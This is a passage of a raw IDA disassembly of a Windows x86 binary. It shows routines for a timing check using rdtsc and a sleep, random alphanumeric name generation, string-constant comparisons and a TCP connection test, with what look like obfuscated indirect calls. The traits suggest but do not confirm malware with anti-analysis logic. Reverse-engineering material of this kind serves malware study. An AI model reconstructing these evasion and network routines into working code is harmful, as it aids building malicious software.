; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419B50	proc near		; CODE XREF: sub_4015F0j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 14h
		push	edi
		mov	edi, ecx
		mov	eax, [edi+11h]
		test	eax, eax
		jz	loc_419C60
		mov	ecx, [edi+823h]
		test	ecx, ecx
		jz	loc_419C60
		push	ebx
		push	ebp
		lea	ebx, [edi+15h]
		push	esi
		push	eax
		mov	ecx, ebx
		xor	esi, esi
		call	sub_401433
		mov	ebp, ds:dword_4B38CC
		test	al, al
		jnz	short loc_419BB3


loc_419B89:				; CODE XREF: sub_419B50+61j
		mov	al, [edi+10h]
		test	al, al
		jz	loc_419C4F
		mov	al, ds:byte_499254
		test	al, al
		jz	short loc_419BB3
		push	3609E7h
		call	ebp
		mov	eax, [edi+11h]
		mov	ecx, ebx
		push	eax
		call	sub_401433
		test	al, al
		jz	short loc_419B89


loc_419BB3:				; CODE XREF: sub_419B50+37j
					; sub_419B50+4Bj
		mov	al, [edi+10h]
		test	al, al
		jz	loc_419C4F


loc_419BBE:				; CODE XREF: sub_419B50+F9j
		mov	al, ds:byte_499254
		test	al, al
		jz	loc_419C4F
		test	esi, esi
		jnz	short loc_419BEE
		push	1B04F3h
		call	sub_43034A
		add	esp, 4
		test	eax, eax
		jz	short loc_419BEA
		push	esi
		mov	ecx, eax
		call	sub_401B1D
		jmp	short loc_419BEC
; ---------------------------------------------------------------------------


loc_419BEA:				; CODE XREF: sub_419B50+8Ej
		xor	eax, eax


loc_419BEC:				; CODE XREF: sub_419B50+98j
		mov	esi, eax


loc_419BEE:				; CODE XREF: sub_419B50+7Dj
		push	0
		push	0
		push	esi
		mov	ecx, ebx
		call	sub_401A8C
		test	al, al
		jnz	short loc_419C07
		push	0D8279h
		call	ebp
		jmp	short loc_419C44
; ---------------------------------------------------------------------------


loc_419C07:				; CODE XREF: sub_419B50+ACj
		xor	ecx, ecx
		lea	edx, [esp+24h+var_14]
		mov	[esp+24h+var_10], ecx
		lea	eax, [esp+24h+var_10]
		mov	[esp+24h+var_C], ecx
		push	edx
		mov	[esp+28h+var_8], ecx
		push	eax
		mov	[esp+2Ch+var_4], ecx
		mov	ecx, esi
		mov	[esp+2Ch+var_14], 10h
		call	sub_4017C6
		mov	al, byte ptr [esp+24h+var_C]
		test	al, al
		jz	short loc_419C44
		push	esi
		call	dword ptr [edi+823h]
		add	esp, 4


loc_419C44:				; CODE XREF: sub_419B50+B5j
					; sub_419B50+E8j
		mov	al, [edi+10h]
		test	al, al
		jnz	loc_419BBE


loc_419C4F:				; CODE XREF: sub_419B50+3Ej
					; sub_419B50+68j ...
		mov	ecx, ebx
		call	sub_401483
		pop	esi
		pop	ebp
		pop	ebx
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_419C60:				; CODE XREF: sub_419B50+Bj
					; sub_419B50+19j
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
sub_419B50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419CC0	proc near		; CODE XREF: sub_401F69j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [eax]
		mov	[ecx+806h], edx
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		setnz	al
		mov	[ecx+80Bh], al
		retn	4
sub_419CC0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419CF0:				; CODE XREF: _294ADE7B:00401B0Ej
		mov	eax, [esp+0Ch]
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		dec	eax
		mov	[ebp+0], bl
		cmp	eax, ebx
		mov	byte ptr [esp+18h], 1
		jle	short loc_419D65
		mov	esi, ebp


loc_419D0F:				; CODE XREF: _294ADE7B:00419D63j
		cmp	esi, ebx
		jz	short loc_419D65
		cmp	[esp+18h], bl
		jz	short loc_419D65
		mov	ecx, [esp+14h]
		push	ebx
		push	1
		push	esi
		push	ecx
		call	ds:dword_46C13C
		cmp	eax, ebx
		jz	short loc_419D74
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419D74
		call	dword ptr ds:63609Eh
		xor	eax, 18D827h
		jz	short loc_419D6D
		mov	[edi+ebp+1], bl
		mov	al, [esi]
		cmp	al, 0Ah
		jz	short loc_419D50
		cmp	al, 0Dh
		jz	short loc_419D50
		cmp	al, bl
		jnz	short loc_419D58


loc_419D50:				; CODE XREF: _294ADE7B:00419D46j
					; _294ADE7B:00419D4Aj
		mov	[edi+ebp-1], bl
		mov	[esp+18h], bl


loc_419D58:				; CODE XREF: _294ADE7B:00419D4Ej
		mov	edx, [esp+1Ch]
		inc	edi
		inc	esi
		lea	eax, [edx-1]
		cmp	edi, eax
		jl	short loc_419D0F


loc_419D65:				; CODE XREF: _294ADE7B:00419D0Bj
					; _294ADE7B:00419D11j ...
		mov	eax, [esp+1Ch]
		mov	[eax+ebp-1], bl


loc_419D6D:				; CODE XREF: _294ADE7B:00419D3Cj
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_419D74:				; CODE XREF: _294ADE7B:00419D2Aj
					; _294ADE7B:00419D2Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419DB0	proc near		; CODE XREF: sub_40124Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		xor	ebx, ebx
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		push	edi
		mov	[ebp+0], bl
		mov	byte ptr [esp+10h+arg_4], 1
		jle	short loc_419E1A
		mov	edi, ebp


loc_419DCF:				; CODE XREF: sub_419DB0+68j
		cmp	edi, ebx
		jz	short loc_419E1A
		cmp	byte ptr [esp+10h+arg_4], bl
		jz	short loc_419E1A
		mov	ecx, [esp+10h+arg_0]
		push	ebx
		push	1
		push	edi
		push	ecx
		call	dword ptr ds:0C6C13h
		test	eax, eax
		jz	short loc_419E29
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_419DFA
		cmp	al, bl
		jnz	short loc_419E0D


loc_419DFA:				; CODE XREF: sub_419DB0+44j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_419E07
		mov	[esi+ebp-1], bl
		jmp	short loc_419E09
; ---------------------------------------------------------------------------


loc_419E07:				; CODE XREF: sub_419DB0+4Fj
		mov	[edi], bl


loc_419E09:				; CODE XREF: sub_419DB0+55j
		mov	byte ptr [esp+10h+arg_4], bl


loc_419E0D:				; CODE XREF: sub_419DB0+48j
		mov	edx, [esp+10h+arg_8]
		inc	esi
		inc	edi
		lea	eax, [edx-1]
		cmp	esi, eax
		jl	short loc_419DCF


loc_419E1A:				; CODE XREF: sub_419DB0+1Bj
					; sub_419DB0+21j ...
		mov	eax, [esp+10h+arg_8]
		pop	edi
		pop	esi
		mov	[eax+ebp-1], bl
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_419E29:				; CODE XREF: sub_419DB0+3Aj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
sub_419DB0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419E50:				; CODE XREF: _294ADE7B:004019FBj
		push	ebx
		mov	ebx, [esp+8]
		push	ebp
		mov	ebp, [esp+10h]
		mov	ecx, ebp
		push	esi
		mov	edx, ecx
		push	edi
		xor	eax, eax
		mov	edi, ebx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		xor	esi, esi
		and	ecx, 3
		test	ebp, ebp
		rep stosb
		jle	short loc_419EAB


loc_419E76:				; CODE XREF: _294ADE7B:00419EA9j
		push	3
		push	1
		call	sub_402018
		add	esp, 8
		dec	eax
		jz	short loc_419E97
		dec	eax
		jz	short loc_419E91
		dec	eax
		jnz	short loc_419EA6
		push	7Ah
		push	61h
		jmp	short loc_419E9B
; ---------------------------------------------------------------------------


loc_419E91:				; CODE XREF: _294ADE7B:00419E86j
		push	5Ah
		push	41h
		jmp	short loc_419E9B
; ---------------------------------------------------------------------------


loc_419E97:				; CODE XREF: _294ADE7B:00419E83j
		push	39h
		push	30h


loc_419E9B:				; CODE XREF: _294ADE7B:00419E8Fj
					; _294ADE7B:00419E95j
		call	sub_402018
		add	esp, 8
		mov	[esi+ebx], al


loc_419EA6:				; CODE XREF: _294ADE7B:00419E89j
		inc	esi
		cmp	esi, ebp
		jl	short loc_419E76


loc_419EAB:				; CODE XREF: _294ADE7B:00419E74j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419ED0	proc near		; CODE XREF: sub_4013C5j
		rdtsc
		retn
sub_419ED0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419EF0	proc near		; CODE XREF: sub_401735j

var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		mov	ebx, ds:dword_4B38CC
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp


loc_419EFF:				; CODE XREF: sub_419EF0+43j
					; sub_419EF0+4Dj
		call	sub_4013C5
		push	3E8h
		mov	esi, eax
		mov	edi, edx
		call	ebx
		call	sub_4013C5
		sub	eax, esi
		push	ebp
		sbb	edx, edi
		push	186A0h
		push	edx
		push	eax
		call	sub_4304C0
		push	ebp
		push	0Ah
		push	edx
		push	eax
		call	sub_4304C0
		cmp	edx, ebp
		mov	esi, eax
		ja	short loc_419EFF
		jb	short loc_419F3F
		cmp	esi, 0F4240h
		ja	short loc_419EFF


loc_419F3F:				; CODE XREF: sub_419EF0+45j
		push	ebp
		push	64h
		push	edx
		push	esi
		call	sub_430440
		mov	ecx, eax
		cmp	edx, ebp
		mov	eax, 64h
		mov	[esp+18h+var_4], ebp
		ja	short loc_419FC9
		jb	short loc_419F5F
		cmp	ecx, 50h
		jnb	short loc_419F68


loc_419F5F:				; CODE XREF: sub_419EF0+68j
		mov	eax, 4Bh
		mov	[esp+18h+var_4], ebp


loc_419F68:				; CODE XREF: sub_419EF0+6Dj
		cmp	edx, ebp
		ja	short loc_419FC9
		jb	short loc_419F73
		cmp	ecx, 47h
		jnb	short loc_419F7C


loc_419F73:				; CODE XREF: sub_419EF0+7Cj
		mov	eax, 42h
		mov	[esp+18h+var_4], ebp


loc_419F7C:				; CODE XREF: sub_419EF0+81j
		cmp	edx, ebp
		ja	short loc_419FC9
		jb	short loc_419F87
		cmp	ecx, 37h
		jnb	short loc_419F90


loc_419F87:				; CODE XREF: sub_419EF0+90j
		mov	eax, 32h
		mov	[esp+18h+var_4], ebp


loc_419F90:				; CODE XREF: sub_419EF0+95j
		cmp	edx, ebp
		ja	short loc_419FC9
		jb	short loc_419F9B
		cmp	ecx, 26h
		jnb	short loc_419FA4


loc_419F9B:				; CODE XREF: sub_419EF0+A4j
		mov	eax, 21h
		mov	[esp+18h+var_4], ebp


loc_419FA4:				; CODE XREF: sub_419EF0+A9j
		cmp	edx, ebp
		ja	short loc_419FC9
		jb	short loc_419FAF
		cmp	ecx, 1Eh
		jnb	short loc_419FB8


loc_419FAF:				; CODE XREF: sub_419EF0+B8j
		mov	eax, 19h
		mov	[esp+18h+var_4], ebp


loc_419FB8:				; CODE XREF: sub_419EF0+BDj
		cmp	edx, ebp
		ja	short loc_419FC9
		jb	short loc_419FC3
		cmp	ecx, 0Ah
		jnb	short loc_419FC9


loc_419FC3:				; CODE XREF: sub_419EF0+CCj
		xor	eax, eax
		mov	[esp+18h+var_4], ebp


loc_419FC9:				; CODE XREF: sub_419EF0+66j
					; sub_419EF0+7Aj ...
		sub	eax, ecx
		pop	edi
		add	eax, esi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_419EF0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A020	proc near		; CODE XREF: sub_401EBFj

var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_41A020
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		mov	al, ds:byte_4405C1
		push	ebx
		push	esi
		push	edi
		test	al, al
		mov	[esp+4Ch+var_40], 0
		jz	loc_41A17F
		push	ebp
		lea	ecx, [esp+50h+var_3C]
		call	sub_4013CF
		push	400h
		lea	ecx, [esp+54h+var_3C]
		mov	[esp+54h+var_4], 1
		xor	bl, bl
		call	sub_401B40
		mov	ebp, eax
		call	sub_401DB1
		lea	ecx, [esp+50h+var_3C]
		call	sub_401384
		mov	[esp+50h+arg_4], eax
		lea	eax, [esp+50h+arg_4]
		push	eax
		push	ebp
		call	ds:dword_4B38E4
		test	eax, eax
		jnz	short loc_41A0B6
		mov	edi, offset byte_43FDC8
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb


loc_41A0B6:				; CODE XREF: sub_41A020+74j
		movsx	ecx, byte ptr [ebp+0]
		mov	eax, 41h


loc_41A0BF:				; CODE XREF: sub_41A020+A9j
		cmp	ecx, eax
		jnz	short loc_41A0C5
		mov	bl, 1


loc_41A0C5:				; CODE XREF: sub_41A020+A1j
		inc	eax
		cmp	eax, 5Bh
		jl	short loc_41A0BF
		mov	eax, 61h


loc_41A0D0:				; CODE XREF: sub_41A020+BAj
		cmp	ecx, eax
		jnz	short loc_41A0D6
		mov	bl, 1


loc_41A0D6:				; CODE XREF: sub_41A020+B2j
		inc	eax
		cmp	eax, 7Bh
		jl	short loc_41A0D0
		test	bl, bl
		jnz	short loc_41A102
		mov	edi, offset byte_43FDC8
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_41A102:				; CODE XREF: sub_41A020+BEj
		mov	esi, ds:dword_4B3A9C
		call	esi
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401122
		call	esi
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401122
		call	esi
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401122
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_3C]
		push	edx
		mov	ecx, esi
		call	sub_40146F
		mov	[esp+50h+var_40], 1
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_4011F9
		pop	ebp
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_41A17F:				; CODE XREF: sub_41A020+2Aj
		lea	ecx, [esp+4Ch+var_24]
		call	sub_4013CF
		mov	ebx, 2
		mov	[esp+4Ch+var_4], ebx
		call	ds:dword_4B38D0
		push	eax
		call	ds:dword_4B3AA0
		mov	edi, ds:dword_4B3A9C
		add	esp, 4
		call	edi
		cdq
		mov	ecx, 3
		idiv	ecx
		lea	ecx, [esp+4Ch+var_24]
		mov	esi, edx
		mov	edx, [esp+4Ch+arg_4]
		push	edx
		add	esi, 6
		call	sub_401564
		test	esi, esi
		jle	short loc_41A21E


loc_41A1C8:				; CODE XREF: sub_41A020+1FCj
		lea	ecx, [esp+4Ch+var_3C]
		call	sub_4013CF
		lea	eax, [esp+4Ch+var_24]
		lea	ecx, [esp+4Ch+var_3C]
		push	eax
		mov	byte ptr [esp+50h+var_4], 3
		call	sub_401E65
		call	edi
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+4Ch+var_3C]
		add	edx, 61h
		push	edx
		call	sub_401726
		push	eax
		lea	edx, [esp+54h+var_24]
		push	offset dword_43BD58
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], bl
		call	sub_4011F9
		dec	esi
		jnz	short loc_41A1C8


loc_41A21E:				; CODE XREF: sub_41A020+1A6j
		mov	esi, [esp+4Ch+arg_0]
		lea	eax, [esp+4Ch+var_24]
		push	eax
		mov	ecx, esi
		call	sub_40146F
		lea	ecx, [esp+4Ch+var_24]
		mov	[esp+4Ch+var_40], 1
		mov	byte ptr [esp+4Ch+var_4], 0
		call	sub_4011F9
		mov	ecx, [esp+4Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn
sub_41A020	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41A2F0:				; CODE XREF: _294ADE7B:00401500j
		mov	al, [esp+4]
		cmp	al, 20h
		jz	short loc_41A2FF
		cmp	al, 9
		jz	short loc_41A2FF
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_41A2FF:				; CODE XREF: _294ADE7B:0041A2F6j
					; _294ADE7B:0041A2FAj
		mov	al, 1
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41A320:				; CODE XREF: _294ADE7B:00401D9Dj
		mov	eax, [esp+4]
		push	offset word_43BD60
		push	eax
		call	ds:dword_4B3A90
		add	esp, 8
		test	eax, eax
		jz	short loc_41A344
		push	eax
		call	ds:dword_4B3A94
		add	esp, 4
		mov	al, 1
		retn
; ---------------------------------------------------------------------------


loc_41A344:				; CODE XREF: _294ADE7B:0041A335j
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41A360:				; CODE XREF: _294ADE7B:00401424j
		sub	esp, 30h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+44h]
		test	edi, edi
		jz	loc_41A5BE
		mov	esi, offset byte_43FDC8
		mov	eax, edi


loc_41A37A:				; CODE XREF: _294ADE7B:0041A39Cj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41A3A2
		test	cl, cl
		jz	short loc_41A39E
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41A3A2
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41A37A


loc_41A39E:				; CODE XREF: _294ADE7B:0041A386j
		xor	eax, eax
		jmp	short loc_41A3A7
; ---------------------------------------------------------------------------


loc_41A3A2:				; CODE XREF: _294ADE7B:0041A382j
					; _294ADE7B:0041A392j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41A3A7:				; CODE XREF: _294ADE7B:0041A3A0j
		test	eax, eax
		jz	loc_41A5BE
		push	20h
		lea	eax, [esp+24h]
		push	edi
		push	eax
		call	ds:dword_4B3AE0
		mov	edi, ds:dword_4B3AD8
		lea	ecx, [esp+2Ch]
		push	offset dword_43B7F8
		push	ecx
		call	edi
		add	esp, 14h
		mov	[esp+10h], eax
		test	eax, eax
		jz	loc_41A5BE
		mov	ebx, 1
		lea	esi, [esp+14h]


loc_41A3E7:				; CODE XREF: _294ADE7B:0041A404j
		push	offset dword_43B7F8
		push	0
		call	edi
		add	esp, 8
		mov	[esi], eax
		test	eax, eax
		jz	loc_41A5BE
		inc	ebx
		add	esi, 4
		cmp	ebx, 4
		jl	short loc_41A3E7
		mov	ebp, [esp+10h]
		mov	esi, offset dword_43BD7C
		mov	eax, ebp


loc_41A411:				; CODE XREF: _294ADE7B:0041A433j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41A439
		test	dl, dl
		jz	short loc_41A435
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41A439
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41A411


loc_41A435:				; CODE XREF: _294ADE7B:0041A41Dj
		xor	eax, eax
		jmp	short loc_41A43E
; ---------------------------------------------------------------------------


loc_41A439:				; CODE XREF: _294ADE7B:0041A419j
					; _294ADE7B:0041A429j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41A43E:				; CODE XREF: _294ADE7B:0041A437j
		test	eax, eax
		jnz	short loc_41A44C
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41A44C:				; CODE XREF: _294ADE7B:0041A440j
		mov	esi, offset dword_43BD78
		mov	eax, ebp


loc_41A453:				; CODE XREF: _294ADE7B:0041A475j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41A47B
		test	dl, dl
		jz	short loc_41A477
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41A47B
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41A453


loc_41A477:				; CODE XREF: _294ADE7B:0041A45Fj
		xor	eax, eax
		jmp	short loc_41A480
; ---------------------------------------------------------------------------


loc_41A47B:				; CODE XREF: _294ADE7B:0041A45Bj
					; _294ADE7B:0041A46Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41A480:				; CODE XREF: _294ADE7B:0041A479j
		mov	edi, [esp+14h]
		test	eax, eax
		jnz	short loc_41A4CA
		mov	esi, offset dword_43BD74
		mov	edx, edi


loc_41A48F:				; CODE XREF: _294ADE7B:0041A4B1j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41A4B7
		test	bl, bl
		jz	short loc_41A4B3
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41A4B7
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41A48F


loc_41A4B3:				; CODE XREF: _294ADE7B:0041A49Bj
		xor	edx, edx
		jmp	short loc_41A4BC
; ---------------------------------------------------------------------------


loc_41A4B7:				; CODE XREF: _294ADE7B:0041A497j
					; _294ADE7B:0041A4A7j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41A4BC:				; CODE XREF: _294ADE7B:0041A4B5j
		test	edx, edx
		jnz	short loc_41A4CA
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41A4CA:				; CODE XREF: _294ADE7B:0041A486j
					; _294ADE7B:0041A4BEj
		mov	esi, offset dword_43BD70
		mov	edx, ebp


loc_41A4D1:				; CODE XREF: _294ADE7B:0041A4F3j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41A4F9
		test	bl, bl
		jz	short loc_41A4F5
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41A4F9
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41A4D1


loc_41A4F5:				; CODE XREF: _294ADE7B:0041A4DDj
		xor	edx, edx
		jmp	short loc_41A4FE
; ---------------------------------------------------------------------------


loc_41A4F9:				; CODE XREF: _294ADE7B:0041A4D9j
					; _294ADE7B:0041A4E9j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41A4FE:				; CODE XREF: _294ADE7B:0041A4F7j
		test	edx, edx
		jnz	short loc_41A544
		mov	esi, offset dword_43BD6C
		mov	edx, edi


loc_41A509:				; CODE XREF: _294ADE7B:0041A52Bj
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41A531
		test	bl, bl
		jz	short loc_41A52D
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41A531
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41A509


loc_41A52D:				; CODE XREF: _294ADE7B:0041A515j
		xor	edx, edx
		jmp	short loc_41A536
; ---------------------------------------------------------------------------


loc_41A531:				; CODE XREF: _294ADE7B:0041A511j
					; _294ADE7B:0041A521j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41A536:				; CODE XREF: _294ADE7B:0041A52Fj
		test	edx, edx
		jnz	short loc_41A544
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41A544:				; CODE XREF: _294ADE7B:0041A500j
					; _294ADE7B:0041A538j
		mov	esi, offset dword_43BD68
		mov	ecx, ebp


loc_41A54B:				; CODE XREF: _294ADE7B:0041A56Dj
		mov	al, [ecx]
		mov	bl, [esi]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41A573
		test	dl, dl
		jz	short loc_41A56F
		mov	al, [ecx+1]
		mov	bl, [esi+1]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41A573
		add	ecx, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41A54B


loc_41A56F:				; CODE XREF: _294ADE7B:0041A557j
		xor	ecx, ecx
		jmp	short loc_41A578
; ---------------------------------------------------------------------------


loc_41A573:				; CODE XREF: _294ADE7B:0041A553j
					; _294ADE7B:0041A563j
		sbb	ecx, ecx
		sbb	ecx, 0FFFFFFFFh


loc_41A578:				; CODE XREF: _294ADE7B:0041A571j
		test	ecx, ecx
		jnz	short loc_41A5BE
		mov	esi, offset dword_43BD64
		mov	eax, edi


loc_41A583:				; CODE XREF: _294ADE7B:0041A5A5j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41A5AB
		test	cl, cl
		jz	short loc_41A5A7
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41A5AB
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41A583


loc_41A5A7:				; CODE XREF: _294ADE7B:0041A58Fj
		xor	eax, eax
		jmp	short loc_41A5B0
; ---------------------------------------------------------------------------


loc_41A5AB:				; CODE XREF: _294ADE7B:0041A58Bj
					; _294ADE7B:0041A59Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41A5B0:				; CODE XREF: _294ADE7B:0041A5A9j
		test	eax, eax
		jnz	short loc_41A5BE
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41A5BE:				; CODE XREF: _294ADE7B:0041A36Dj
					; _294ADE7B:0041A3A9j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A670	proc near		; CODE XREF: sub_401EA1j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		push	esi
		push	6
		push	1
		push	2
		xor	bl, bl
		call	ds:dword_4B3CAC
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41A6D8
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41A6D8
		mov	eax, [esp+18h+arg_0]
		push	eax
		call	ds:dword_4B3CBC
		mov	ecx, [esp+18h+arg_4]
		mov	[esp+18h+var_C], eax
		push	ecx
		call	ds:dword_4B3CB0
		lea	edx, [esp+18h+var_10]
		push	10h
		push	edx
		push	esi
		mov	[esp+24h+var_E], ax
		mov	[esp+24h+var_10], 2
		call	ds:dword_4B3CB4
		test	eax, eax
		jnz	short loc_41A6C9
		mov	bl, 1


loc_41A6C9:				; CODE XREF: sub_41A670+55j
		push	esi
		call	ds:dword_4B3CA8
		mov	al, bl
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41A6D8:				; CODE XREF: sub_41A670+18j
					; sub_41A670+1Dj
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 10h
		retn
sub_41A670	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A700	proc near		; CODE XREF: sub_401262j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

